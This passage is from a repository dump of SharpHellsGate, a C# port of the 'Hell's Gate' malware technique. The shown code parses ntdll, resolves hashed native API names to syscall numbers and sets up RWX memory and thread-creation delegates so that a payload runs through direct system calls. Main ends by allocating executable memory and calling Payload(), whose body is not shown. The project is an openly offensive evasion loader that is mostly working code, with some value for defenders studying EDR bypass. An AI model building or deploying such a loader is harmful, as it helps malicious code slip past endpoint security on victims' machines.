/// <returns>The _IMAGE_SECTION_HEADER structure.</returns>
private Int64 GetModuleSectionOffset(Int16 cx)
=> this.ModuleDOSHeader.e_lfanew
+ Marshal.SizeOf<Structures.IMAGE_FILE_HEADER>()
+ this.ModuleNTHeaders.FileHeader.SizeOfOptionalHeader
+ sizeof(Int32) // sizeof(DWORD)
+ (Marshal.SizeOf<Structures.IMAGE_SECTION_HEADER>() * cx);
/// <summary>
/// Convert a relative virtual address (RVA) into an offset.
/// </summary>
/// <param name="rva">The RVA to convert into an offset in the iamge.</param>
/// <param name="SectionHeader">The section in which the relative virtual address (RVA) points to.</param>
/// <returns>The offset.</returns>
private Int64 ConvertRvaToOffset(Int64 rva, Structures.IMAGE_SECTION_HEADER SectionHeader) => rva - SectionHeader.VirtualAddress + SectionHeader.PointerToRawData;
/// <summary>
/// Convert a relative virtual address (RVA) into an offset.
/// </summary>
/// <param name="rva">The RVA to convert into an offset in the iamge.</param>
/// <returns>The offset.</returns>
private Int64 ConvertRvaToOffset(Int64 rva) => this.ConvertRvaToOffset(rva, GetSectionByRVA(rva));
/// <summary>
/// Get which image section is which a relative virtual address (RVA) points to.
/// </summary>
/// <param name="rva">The RVA</param>
/// <returns>The _IMAGE_SECTION_HEADER structure</returns>
private Structures.IMAGE_SECTION_HEADER GetSectionByRVA(Int64 rva) => this.ModuleSectionHeaders.Where(x => rva > x.VirtualAddress && rva <= x.VirtualAddress + x.SizeOfRawData).First();
}
}
================================================
FILE: SharpHellsGate/Program.cs
================================================
using System;
using System.Collections.Generic;
using SharpHellsGate.Module;
namespace SharpHellsGate {
/// <summary>
/// Main class.
/// </summary>
public class Program {
/// <summary>
/// Entry point of the program.
/// </summary>
/// <param name="args">Command line arguments.</param>
static void Main(string[] args) {
Util.LogInfo("Copyright (C) 2020 Paul Laine (@am0nsec)");
Util.LogInfo("C# Implementation of the Hell's Gate VX Technique");
Util.LogInfo(" --------------------------------------------------\n", 0, "");
// Only works for x86
if (IntPtr.Size != 8) {
Util.LogError("Project only tested in x64 context.\n");
return;
}
// Load the module and get everything ready
SystemModule ntdll = new SystemModule("ntdll.dll");
ntdll.LoadAllStructures();
// Resolve all the system calls
Dictionary<UInt64, Util.APITableEntry> APITable = new Dictionary<ulong, Util.APITableEntry>() {
{ Util.NtAllocateVirtualMemoryHash, ntdll.GetAPITableEntry(Util.NtAllocateVirtualMemoryHash) },
{ Util.NtProtectVirtualMemoryHash, ntdll.GetAPITableEntry(Util.NtProtectVirtualMemoryHash) },
{ Util.NtCreateThreadExHash, ntdll.GetAPITableEntry(Util.NtCreateThreadExHash) },
{ Util.NtWaitForSingleObjectHash, ntdll.GetAPITableEntry(Util.NtWaitForSingleObjectHash) }
};
ntdll.Dispose();
Util.LogInfo($"NtAllocateVirtualMemory: 0x{APITable[Util.NtAllocateVirtualMemoryHash].Syscall:x4}");
Util.LogInfo($"NtProtectVirtualMemory: 0x{APITable[Util.NtProtectVirtualMemoryHash].Syscall:x4}");
Util.LogInfo($"NtWaitForSingleObject: 0x{APITable[Util.NtWaitForSingleObjectHash].Syscall:x4}");
Util.LogInfo($"NtCreateThreadEx: 0x{APITable[Util.NtCreateThreadExHash].Syscall:x4}\n");
HellsGate gate = new HellsGate(APITable);
gate.GenerateRWXMemorySegment();
gate.Payload();
return;
}
}
}
================================================
FILE: SharpHellsGate/SharpHellsGate.csproj
================================================
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net5.0</TargetFramework>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|AnyCPU'">
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
<PlatformTarget>x64</PlatformTarget>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|AnyCPU'">
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
<PlatformTarget>x64</PlatformTarget>
</PropertyGroup>
</Project>
================================================
FILE: SharpHellsGate/Util.cs
================================================
using System;
using System.Diagnostics;
namespace SharpHellsGate {
/// <summary>
/// Util class. Used mainly for debug output.
/// </summary>
public class Util {
/// <summary>
/// Structure used to store the name, address, system call and hash of a native Windows function.
/// </summary>
public struct APITableEntry {
public string Name;
public Int64 Address;
public Int16 Syscall;
public UInt64 Hash;
}
/// <summary>
/// DJB2 Hash of the NtAllocateVirtualMemory function name.
/// </summary>
public static UInt64 NtAllocateVirtualMemoryHash { get; } = 0xf5bd373480a6b89b;
/// <summary>
/// DJB2 Hash of the NtProtectVirtualMemory function name.
/// </summary>
public static UInt64 NtProtectVirtualMemoryHash { get; } = 0x858bcb1046fb6a37;
/// <summary>
/// DJB2 Hash of the NtCreateThreadEx function name.
/// </summary>
public static UInt64 NtCreateThreadExHash { get; } = 0x64dc7db288c5015f;
/// <summary>
/// DJB2 Hash of the NtWaitForSingleObject function name.
/// </summary>
public static UInt64 NtWaitForSingleObjectHash { get; } = 0xc6a2fa174e551bcb;
/// <summary>
/// Log an informational information.
/// </summary>
/// <param name="msg">Message to log.</param>
/// <param name="indent">Indentation level.</param>
/// <param name="prefix">Message prefix.</param>
public static void LogInfo(string msg, int indent = 0, string prefix = "[>]") {
#if DEBUG
if (string.IsNullOrEmpty(msg))
return;
LogMessage(msg, prefix, indent, ConsoleColor.Blue);
#endif
}
/// <summary>
/// Log an error information.
/// </summary>
/// <param name="msg">Message to log.</param>
/// <param name="indent">Indentation level.</param>
/// <param name="prefix">Message prefix.</param>
public static void LogError(string msg, int indent = 0, string prefix = "[-]") {
#if DEBUG
if (string.IsNullOrEmpty(msg))
return;
LogMessage(msg, prefix, indent, ConsoleColor.Red);
#endif
}
/// <summary>
/// Log a success information.
/// </summary>
/// <param name="msg">Message to log.</param>
/// <param name="indent">Indentation level.</param>
/// <param name="prefix">Message prefix</param>
public static void LogSuccess(string msg, int indent = 0, string prefix = "[+]") {
#if DEBUG
if (string.IsNullOrEmpty(msg))
return;
LogMessage(msg, prefix, indent, ConsoleColor.Green);
#endif
}
/// <summary>
/// Log a string to the console and to the debugger.
/// </summary>
/// <param name="msg">Message to log.</param>
/// <param name="indent">Indentation level.</param>
/// <param name="prefix">Message prefix.</param>
/// <param name="color">The color of the prifix on the console.</param>
private static void LogMessage(string msg, string prefix, int indent, ConsoleColor color) {
// Indent
Console.Write(new String(' ', indent));
Trace.Write(new String(' ', indent));
// Color and prefix
Trace.Write(prefix);
Console.ForegroundColor = color;
Console.Write(prefix);
Console.ResetColor();
// Message
Console.WriteLine($" {msg}");
Trace.WriteLine($" {msg}");
}
/// <summary>
/// Revisited DJB2 algorithm.
/// </summary>
/// <param name="FunctionName">The ASCII name of a function.</param>
/// <returns>The djb2 hash of the function name.</returns>
public static UInt64 GetFunctionDJB2Hash(string FunctionName) {
if (string.IsNullOrEmpty(FunctionName))
return 0;
UInt64 hash = 0x7734773477347734;
foreach (char c in FunctionName)
hash = ((hash << 0x5) + hash) + (byte)c;
return hash;
}
}
}
================================================
FILE: SharpHellsGate/Win32/DFunctions.cs
================================================
using System;
using System.Runtime.InteropServices;
namespace SharpHellsGate.Win32 {
/// <summary>
/// Contains all the delegates used to execute the system calls.
/// </summary>
public class DFunctions {
/// <summary>
/// Managed wrapper around the NtAllocateVirtualMemory native Windows function
/// </summary>
/// <param name="ProcessHandle">A handle for the process for which the mapping should be done.</param>
/// <param name="BaseAddress">A pointer to a variable that will receive the base address of the allocated region of pages.</param>
/// <param name="ZeroBits">The number of high-order address bits that must be zero in the base address of the section view.</param>
/// <param name="RegionSize">A pointer to a variable that will receive the actual size, in bytes, of the allocated region of pages.</param>
/// <param name="AllocationType">A bitmask containing flags that specify the type of allocation to be performed for the specified region of pages.</param>
/// <param name="Protect">A bitmask containing page protection flags that specify the protection desired for the committed region of pages.</param>
/// <returns>NtAllocateVirtualMemory returns either STATUS_SUCCESS or an error status code.</returns>
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint NtAllocateVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
IntPtr ZeroBits,
ref IntPtr RegionSize,
UInt32 AllocationType,
UInt32 Protect
);
/// <summary>
/// Managed wrapper around the NtProtectVirtualMemory native Windows function.
/// </summary>
/// <param name="ProcessHandle">Handle to Process Object opened with PROCESS_VM_OPERATION access.</param>
/// <param name="BaseAddress">Pointer to base address to protect. Protection will change on all page containing specified address. On output, BaseAddress will point to page start address.</param>
/// <param name="NumberOfBytesToProtect">Pointer to size of region to protect. On output will be round to page size (4KB).</param>
/// <param name="NewAccessProtection">One or some of PAGE_... attributes.</param>
/// <param name="OldAccessProtection">Receive previous protection.</param>
/// <returns>NtProtectVirtualMemory returns either STATUS_SUCCESS or an error status code.</returns>
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint NtProtectVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
ref IntPtr RegionSize,
UInt32 NewProtect,
out UInt32 OldProtect
);
/// <summary>
/// Managed wrapper around the NtCreateThreadEx native Windows function.
/// </summary>
/// <param name="hThread">Caller supplied storage for the resulting handle.</param>
/// <param name="DesiredAccess">Specifies the allowed or desired access to the thread.</param>
/// <param name="ObjectAttributes">Initialized attributes for the object.</param>
/// <param name="ProcessHandle">Handle to the threads parent process.</param>
/// <param name="lpStartAddress">Address of the function to execute.</param>
/// <param name="lpParameter">Parameters to pass to the function.</param>
/// <param name="CreateSuspended">Whether the thread will be in suspended mode and has to be resumed later.</param>
/// <param name="StackZeroBits"></param>
/// <param name="SizeOfStackCommit">Initial stack memory to commit.</param>
/// <param name="SizeOfStackReserve">Initial stack memory to reserve.</param>
/// <param name="lpBytesBuffer"></param>
/// <returns>NtCreateThreadEx returns either STATUS_SUCCESS or an error status code.</returns>
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint NtCreateThreadEx(
ref IntPtr hThread,
uint DesiredAccess,
IntPtr ObjectAttributes,
IntPtr ProcessHandle,
IntPtr lpStartAddress,
IntPtr lpParameter,
bool CreateSuspended,
uint StackZeroBits,
uint SizeOfStackCommit,
uint SizeOfStackReserve,
IntPtr lpBytesBuffer
);
/// <summary>
/// Managed wrapper around the NtWaitForSingleObject native Windows function.
/// </summary>
/// <param name="ObjectHandle">Open handle to a alertable executive object.</param>
/// <param name="Alertable">If set, calling thread is signaled, so all queued APC routines are executed.</param>
/// <param name="TimeOuts">Time-out interval, in microseconds. NULL means infinite.</param>
/// <returns>NtWaitForSingleObject returns either STATUS_SUCCESS or an error status code.</returns>
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint NtWaitForSingleObject(
IntPtr ObjectHandle,
bool Alertable,
ref Structures.LARGE_INTEGER TimeOut
);
}
}
================================================
FILE: SharpHellsGate/Win32/Macros.cs
================================================
using System;
namespace SharpHellsGate.Win32 {
/// <summary>
/// Windows Macros used for error and success codes and bitmasks.
/// </summary>
public static class Macros {
// NTSTATUS
public static bool NT_SUCCESS(UInt32 ntstatus) => ntstatus <= 0x3FFFFFFF;
public static bool NT_INFORMATION(UInt32 ntstatus) => ntstatus >= 0x40000000 && ntstatus <= 0x7FFFFFFF;
public static bool NT_WARNING(UInt32 ntstatus) => ntstatus >= 0x80000000 && ntstatus <= 0xBFFFFFFF;
public static bool NT_ERROR(UInt32 ntstatus) => ntstatus >= 0xC0000000 && ntstatus <= 0xFFFFFFFF;
// Common NTSTATUS
public static UInt32 STATUS_SUCCESS { get; } = 0x00000000;
public static UInt32 STATUS_UNSUCCESSFUL { get; } = 0xC0000001;
public static UInt32 STATUS_NOT_IMPLEMENTED { get; } = 0xC0000002;
// Portable Executable
public static Int16 IMAGE_DOS_SIGNATURE { get; } = 0x5a00 | 0x4D; // MZ
public static Int32 IMAGE_NT_SIGNATURE { get; } = 0x00004500 | 0x00000050; // PE00
// Pseudo-Handles
public static IntPtr GetCurrentProcess() => new IntPtr(-1);
public static IntPtr GetCurrentThread() => new IntPtr(-2);
public static IntPtr GetCurrentProcessToken() => new IntPtr(-4);
public static IntPtr GetCurrentThreadToken() => new IntPtr(-5);
public static IntPtr GetCurrentThreadEffectiveToken() => new IntPtr(-6);
// Page and Memory permissions
public static UInt32 PAGE_NOACCESS { get; } = 0x01;
public static UInt32 PAGE_READONLY { get; } = 0x02;
public static UInt32 PAGE_READWRITE { get; } = 0x04;
public static UInt32 PAGE_WRITECOPY { get; } = 0x08;
public static UInt32 PAGE_EXECUTE { get; } = 0x10;
public static UInt32 PAGE_EXECUTE_READ { get; } = 0x20;
public static UInt32 PAGE_EXECUTE_READWRITE { get; } = 0x40;
public static UInt32 PAGE_EXECUTE_WRITECOPY { get; } = 0x80;
public static UInt32 PAGE_GUARD { get; } = 0x100;
public static UInt32 PAGE_NOCACHE { get; } = 0x200;
public static UInt32 PAGE_WRITECOMBINE { get; } = 0x400;
public static UInt32 PAGE_GRAPHICS_NOACCESS { get; } = 0x0800;
public static UInt32 PAGE_GRAPHICS_READONLY { get; } = 0x1000;
public static UInt32 PAGE_GRAPHICS_READWRITE { get; } = 0x2000;
public static UInt32 PAGE_GRAPHICS_EXECUTE { get; } = 0x4000;
public static UInt32 PAGE_GRAPHICS_EXECUTE_READ { get; } = 0x8000;
public static UInt32 PAGE_GRAPHICS_EXECUTE_READWRITE { get; } = 0x10000;
public static UInt32 PAGE_GRAPHICS_COHERENT { get; } = 0x20000;
public static UInt32 PAGE_ENCLAVE_THREAD_CONTROL { get; } = 0x80000000;
public static UInt32 PAGE_REVERT_TO_FILE_MAP { get; } = 0x80000000;
public static UInt32 PAGE_TARGETS_NO_UPDATE { get; } = 0x40000000;
public static UInt32 PAGE_TARGETS_INVALID { get; } = 0x40000000;
public static UInt32 PAGE_ENCLAVE_UNVALIDATED { get; } = 0x20000000;
public static UInt32 PAGE_ENCLAVE_DECOMMIT { get; } = 0x10000000;
public static UInt32 MEM_COMMIT { get; } = 0x00001000;
public static UInt32 MEM_RESERVE { get; } = 0x00002000;
public static UInt32 MEM_REPLACE_PLACEHOLDER { get; } = 0x00004000;
public static UInt32 MEM_RESERVE_PLACEHOLDER { get; } = 0x00040000;
public static UInt32 MEM_RESET { get; } = 0x00080000 ;
public static UInt32 MEM_TOP_DOWN { get; } = 0x00100000;
public static UInt32 MEM_WRITE_WATCH { get; } = 0x00200000;
public static UInt32 MEM_PHYSICAL { get; } = 0x00400000;
public static UInt32 MEM_ROTATE { get; } = 0x00800000;
public static UInt32 MEM_DIFFERENT_IMAGE_BASE_OK { get; } = 0x00800000;
public static UInt32 MEM_RESET_UNDO { get; } = 0x01000000;
public static UInt32 MEM_LARGE_PAGES { get; } = 0x20000000;
public static UInt32 MEM_4MB_PAGES { get; } = 0x80000000;
public static UInt32 MEM_64K_PAGES { get; } = (MEM_LARGE_PAGES | MEM_PHYSICAL);
public static UInt32 MEM_UNMAP_WITH_TRANSIENT_BOOST { get; } = 0x00000001;
public static UInt32 MEM_COALESCE_PLACEHOLDERS { get; } = 0x00000001;
public static UInt32 MEM_PRESERVE_PLACEHOLDER { get; } = 0x00000002;
public static UInt32 MEM_DECOMMIT { get; } = 0x00004000;
public static UInt32 MEM_RELEASE { get; } = 0x00008000;
public static UInt32 MEM_FREE { get; } = 0x00010000;
}
}
================================================
FILE: SharpHellsGate/Win32/Structures.cs
================================================
using System;
using System.Runtime.InteropServices;
namespace SharpHellsGate.Win32 {
public static class Structures {
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_DOS_HEADER {
public UInt16 e_magic; /*+0x000*/
public UInt16 e_cblp; /*+0x002*/
public UInt16 e_cp; /*+0x004*/
public UInt16 e_crlc; /*+0x006*/
public UInt16 e_cparhdr; /*+0x008*/
public UInt16 e_minalloc; /*+0x00a*/
public UInt16 e_maxalloc; /*+0x00c*/
public UInt16 e_ss; /*+0x00e*/
public UInt16 e_sp; /*+0x010*/
public UInt16 e_csum; /*+0x012*/
public UInt16 e_ip; /*+0x014*/
public UInt16 e_cs; /*+0x016*/
public UInt16 e_lfarlc; /*+0x018*/
public UInt16 e_ovno; /*+0x01a*/
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
public UInt16[] e_res; /*+0x01c*/
public UInt16 e_oemid; /*+0x024*/
public UInt16 e_oeminfo; /*+0x026*/
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
public UInt16[] e_res2; /*+0x028*/
public UInt32 e_lfanew; /*+0x03c*/
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_FILE_HEADER {
public UInt16 Machine; /*+0x000*/
public UInt16 NumberOfSections; /*+0x002*/
public UInt32 TimeDateStamp; /*+0x004*/
public UInt32 PointerToSymbolTable; /*+0x008*/
public UInt32 NumberOfSymbols; /*+0x00c*/
public UInt16 SizeOfOptionalHeader; /*+0x010*/
public UInt16 Characteristics; /*+0x012*/
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_DATA_DIRECTORY {
public UInt32 VirtualAddress; /*+0x000*/
public UInt32 Size; /*+0x004*/
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_OPTIONAL_HEADER64 {
public UInt16 Magic; /*+0x000*/
public Byte MajorLinkerVersion; /*+0x002*/
public Byte MinorLinkerVersion; /*+0x003*/
public UInt32 SizeOfCode; /*+0x004*/
public UInt32 SizeOfInitializedDatal; /*+0x008*/
public UInt32 SizeOfUninitializedData; /*+0x00c*/
public UInt32 AddressOfEntryPoint; /*+0x010*/
public UInt32 BaseOfCode; /*+0x014*/
public UInt64 ImageBasel; /*+0x018*/
public UInt32 SectionAlignment; /*+0x020*/
public UInt32 FileAlignment; /*+0x024*/
public UInt16 MajorOperatingSystemVersion; /*+0x028*/
public UInt16 MinorOperatingSystemVersion; /*+0x02a*/
public UInt16 MajorImageVersion; /*+0x02c*/
public UInt16 MinorImageVersion; /*+0x02e*/
public UInt16 MajorSubsystemVersion; /*+0x030*/
public UInt16 MinorSubsystemVersion; /*+0x032*/
public UInt32 Win32VersionValue; /*+0x034*/
public UInt32 SizeOfImage; /*+0x038*/
public UInt32 SizeOfHeaders; /*+0x03c*/
public UInt32 CheckSum; /*+0x040*/
public UInt16 Subsystem; /*+0x044*/
public UInt16 DllCharacteristics; /*+0x046*/
public UInt64 SizeOfStackReserve; /*+0x048*/
public UInt64 SizeOfStackCommit; /*+0x050*/
public UInt64 SizeOfHeapReserve; /*+0x058*/
public UInt64 SizeOfHeapCommit; /*+0x060*/
public UInt32 LoaderFlags; /*+0x068*/
public UInt32 NumberOfRvaAndSizes; /*+0x06c*/
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public IMAGE_DATA_DIRECTORY[] DataDirectory; /*+0x070*/
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_NT_HEADERS64 {
public UInt32 Signature; /*+0x000*/
public IMAGE_FILE_HEADER FileHeader; /*+0x004*/
public IMAGE_OPTIONAL_HEADER64 OptionalHeader; /*+0x018*/
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_EXPORT_DIRECTORY {
public UInt32 Characteristics; /*+0x000*/
public UInt32 TimeDateStamp; /*+0x004*/
public UInt16 MajorVersion; /*+0x008*/
public UInt16 MinorVersion; /*+0x00a*/
public UInt32 Name; /*+0x00c*/
public UInt32 Base; /*+0x010*/
public UInt32 NumberOfFunctions; /*+0x014*/
public UInt32 NumberOfNames; /*+0x018*/
public UInt32 AddressOfFunctions; /*+0x01c*/
public UInt32 AddressOfNames; /*+0x020*/
public UInt32 AddressOfNameOrdinals; /*+0x024*/
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_SECTION_HEADER {
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)]
public string Name; /*+0x000*/
public UInt32 Misc; /*+0x008*/
public UInt32 VirtualAddress; /*+0x00c*/
public UInt32 SizeOfRawData; /*+0x010*/
public UInt32 PointerToRawData; /*+0x014*/
public UInt32 PointerToRelocations; /*+0x018*/
public UInt32 PointerToLinenumbers; /*+0x01c*/
public UInt16 NumberOfRelocations; /*+0x020*/
public UInt16 NumberOfLinenumbers; /*+0x022*/
public UInt32 Characteristics; /*+0x024*/
}
[StructLayout(LayoutKind.Explicit, Size = 1)]
public struct LARGE_INTEGER {
[FieldOffset(0)] public Int64 QuadPart; /*+0x000*/
[FieldOffset(0)] public UInt32 LowPart; /*+0x000*/
[FieldOffset(4)] public UInt32 HighPart; /*+0x004*/
}
}
}
================================================
FILE: SharpHellsGate.sln
================================================
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.30114.105
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpHellsGate", "SharpHellsGate\SharpHellsGate.csproj", "{F6A46854-FDC2-4F27-9051-5C7BE8E68733}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{F6A46854-FDC2-4F27-9051-5C7BE8E68733}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{F6A46854-FDC2-4F27-9051-5C7BE8E68733}.Debug|Any CPU.Build.0 = Debug|Any CPU
{F6A46854-FDC2-4F27-9051-5C7BE8E68733}.Release|Any CPU.ActiveCfg = Release|Any CPU
{F6A46854-FDC2-4F27-9051-5C7BE8E68733}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {CA2A2F5F-A135-4771-A014-A6F2C0D24538}
EndGlobalSection
EndGlobal
gitextract_v05_cun6/ ├── .github/ │ └── workflows/ │ └── documentation.yaml ├── .gitignore ├── Doxyfile ├── LICENSE ├── README.md ├── SharpHellsGate/ │ ├── HellsGate.cs │ ├── Module/ │ │ ├── MemoryUtil.cs │ │ └── SystemModule.cs │ ├── Program.cs │ ├── SharpHellsGate.csproj │ ├── Util.cs │ └── Win32/ │ ├── DFunctions.cs │ ├── Macros.cs │ └── Structures.cs └── SharpHellsGate.sln
SYMBOL INDEX (63 symbols across 8 files)
FILE: SharpHellsGate/HellsGate.cs
class HellsGate (line 14) | public class HellsGate {
method Gate (line 45) | [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimiz...
method NtInvocation (line 56) | private T NtInvocation<T>(Int16 syscall) where T: Delegate {
method NtAllocateVirtualMemory (line 87) | private UInt32 NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPt...
method NtProtectVirtualMemory (line 107) | private UInt32 NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr...
method NtCreateThreadEx (line 133) | private UInt32 NtCreateThreadEx(ref IntPtr hThread, uint DesiredAccess...
method NtWaitForSingleObject (line 151) | private UInt32 NtWaitForSingleObject(IntPtr ObjectHandle, bool Alertab...
method HellsGate (line 166) | public HellsGate(Dictionary<UInt64, Util.APITableEntry> Table) {
method GenerateRWXMemorySegment (line 174) | public bool GenerateRWXMemorySegment() {
method Payload (line 207) | public void Payload() {
FILE: SharpHellsGate/Module/MemoryUtil.cs
class MemoryUtil (line 11) | public class MemoryUtil : IDisposable {
method Dispose (line 26) | public void Dispose() {
method GetStructureFromBlob (line 38) | protected T GetStructureFromBlob<T>(Int64 offset) where T : struct {
method GetFunctionOpCode (line 56) | protected Span<byte> GetFunctionOpCode(Int64 offset) {
method ReadPtr32 (line 68) | protected UInt32 ReadPtr32(Int64 offset) {
method ReadPtr64 (line 80) | protected UInt64 ReadPtr64(Int64 offset) {
method ReadUShort (line 92) | protected UInt16 ReadUShort(Int64 offset) {
method ReadAscii (line 104) | protected string ReadAscii(Int64 offset) {
method GetStructureBytesFromOffset (line 122) | protected Span<byte> GetStructureBytesFromOffset<T>(Int64 offset) wher...
method GetBytesFromOffset (line 135) | protected Span<byte> GetBytesFromOffset(Int64 offset, int size) {
FILE: SharpHellsGate/Module/SystemModule.cs
class SystemModule (line 14) | public class SystemModule : MemoryUtil {
method SystemModule (line 70) | public SystemModule(string name) : base() {
method LoadModule (line 82) | public bool LoadModule() {
method LoadAllStructures (line 107) | public bool LoadAllStructures() {
method GetModuleDOSHeader (line 128) | public Structures.IMAGE_DOS_HEADER GetModuleDOSHeader(bool ReloadCache...
method GetModuleNTHeaders (line 151) | public Structures.IMAGE_NT_HEADERS64 GetModuleNTHeaders(bool ReloadCac...
method GetModuleSectionHeaders (line 177) | public List<Structures.IMAGE_SECTION_HEADER> GetModuleSectionHeaders(b...
method GetModuleSectionHeaderByName (line 205) | public Structures.IMAGE_SECTION_HEADER GetModuleSectionHeaderByName(st...
method GetModuleExportDirectory (line 227) | public Structures.IMAGE_EXPORT_DIRECTORY GetModuleExportDirectory(bool...
method GetAPITableEntry (line 261) | public Util.APITableEntry GetAPITableEntry(UInt64 FunctionHash) {
method GetModuleSectionOffset (line 299) | private Int64 GetModuleSectionOffset(Int16 cx)
method ConvertRvaToOffset (line 312) | private Int64 ConvertRvaToOffset(Int64 rva, Structures.IMAGE_SECTION_H...
method ConvertRvaToOffset (line 319) | private Int64 ConvertRvaToOffset(Int64 rva) => this.ConvertRvaToOffset...
method GetSectionByRVA (line 326) | private Structures.IMAGE_SECTION_HEADER GetSectionByRVA(Int64 rva) => ...
FILE: SharpHellsGate/Program.cs
class Program (line 10) | public class Program {
method Main (line 16) | static void Main(string[] args) {
FILE: SharpHellsGate/Util.cs
class Util (line 9) | public class Util {
type APITableEntry (line 14) | public struct APITableEntry {
method LogInfo (line 48) | public static void LogInfo(string msg, int indent = 0, string prefix =...
method LogError (line 63) | public static void LogError(string msg, int indent = 0, string prefix ...
method LogSuccess (line 78) | public static void LogSuccess(string msg, int indent = 0, string prefi...
method LogMessage (line 94) | private static void LogMessage(string msg, string prefix, int indent, ...
method GetFunctionDJB2Hash (line 116) | public static UInt64 GetFunctionDJB2Hash(string FunctionName) {
FILE: SharpHellsGate/Win32/DFunctions.cs
class DFunctions (line 9) | public class DFunctions {
FILE: SharpHellsGate/Win32/Macros.cs
class Macros (line 8) | public static class Macros {
method NT_SUCCESS (line 11) | public static bool NT_SUCCESS(UInt32 ntstatus) => ntstatus <= 0x3FFFFFFF;
method NT_INFORMATION (line 12) | public static bool NT_INFORMATION(UInt32 ntstatus) => ntstatus >= 0x40...
method NT_WARNING (line 13) | public static bool NT_WARNING(UInt32 ntstatus) => ntstatus >= 0x800000...
method NT_ERROR (line 14) | public static bool NT_ERROR(UInt32 ntstatus) => ntstatus >= 0xC0000000...
method GetCurrentProcess (line 26) | public static IntPtr GetCurrentProcess() => new IntPtr(-1);
method GetCurrentThread (line 27) | public static IntPtr GetCurrentThread() => new IntPtr(-2);
method GetCurrentProcessToken (line 28) | public static IntPtr GetCurrentProcessToken() => new IntPtr(-4);
method GetCurrentThreadToken (line 29) | public static IntPtr GetCurrentThreadToken() => new IntPtr(-5);
method GetCurrentThreadEffectiveToken (line 30) | public static IntPtr GetCurrentThreadEffectiveToken() => new IntPtr(-6);
FILE: SharpHellsGate/Win32/Structures.cs
class Structures (line 5) | public static class Structures {
type IMAGE_DOS_HEADER (line 7) | [StructLayout(LayoutKind.Sequential, Pack = 1)]
type IMAGE_FILE_HEADER (line 32) | [StructLayout(LayoutKind.Sequential, Pack = 1)]
type IMAGE_DATA_DIRECTORY (line 43) | [StructLayout(LayoutKind.Sequential, Pack = 1)]
type IMAGE_OPTIONAL_HEADER64 (line 49) | [StructLayout(LayoutKind.Sequential, Pack = 1)]
type IMAGE_NT_HEADERS64 (line 84) | [StructLayout(LayoutKind.Sequential, Pack = 1)]
type IMAGE_EXPORT_DIRECTORY (line 91) | [StructLayout(LayoutKind.Sequential, Pack = 1)]
type IMAGE_SECTION_HEADER (line 106) | [StructLayout(LayoutKind.Sequential, Pack = 1)]
type LARGE_INTEGER (line 121) | [StructLayout(LayoutKind.Explicit, Size = 1)]
Condensed preview — 15 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (118K chars).
[
{
"path": ".github/workflows/documentation.yaml",
"chars": 855,
"preview": "name: Documentation\r\n\r\n# Controls when the action will run. Triggers the workflow on push or pull request\r\n# events but "
},
{
"path": ".gitignore",
"chars": 48,
"preview": ".vs/\r\nSharpHellsGate/bin/\r\nSharpHellsGate/obj/\r\n"
},
{
"path": "Doxyfile",
"chars": 13685,
"preview": "# Doxyfile 1.8.18\r\n\r\n#---------------------------------------------------------------------------\r\n# Project related con"
},
{
"path": "LICENSE",
"chars": 35149,
"preview": " GNU GENERAL PUBLIC LICENSE\n Version 3, 29 June 2007\n\n Copyright (C) 2007 Free "
},
{
"path": "README.md",
"chars": 315,
"preview": "## C# Hell's Gate ##\nC# Implementation of the Hell's Gate VX Technique \n<br />\n<br />\nLink to the paper: https://vxug.fa"
},
{
"path": "SharpHellsGate/HellsGate.cs",
"chars": 16087,
"preview": "using System;\r\nusing SharpHellsGate.Win32;\r\nusing System.Runtime.InteropServices;\r\nusing System.Collections.Generic;\r\nu"
},
{
"path": "SharpHellsGate/Module/MemoryUtil.cs",
"chars": 6089,
"preview": "using System;\r\nusing System.IO;\r\nusing System.Runtime.InteropServices;\r\nusing System.Text;\r\n\r\nnamespace SharpHellsGate."
},
{
"path": "SharpHellsGate/Module/SystemModule.cs",
"chars": 15131,
"preview": "using System;\r\nusing System.IO;\r\nusing SharpHellsGate.Win32;\r\nusing System.Collections.Generic;\r\nusing System.Runtime.I"
},
{
"path": "SharpHellsGate/Program.cs",
"chars": 2263,
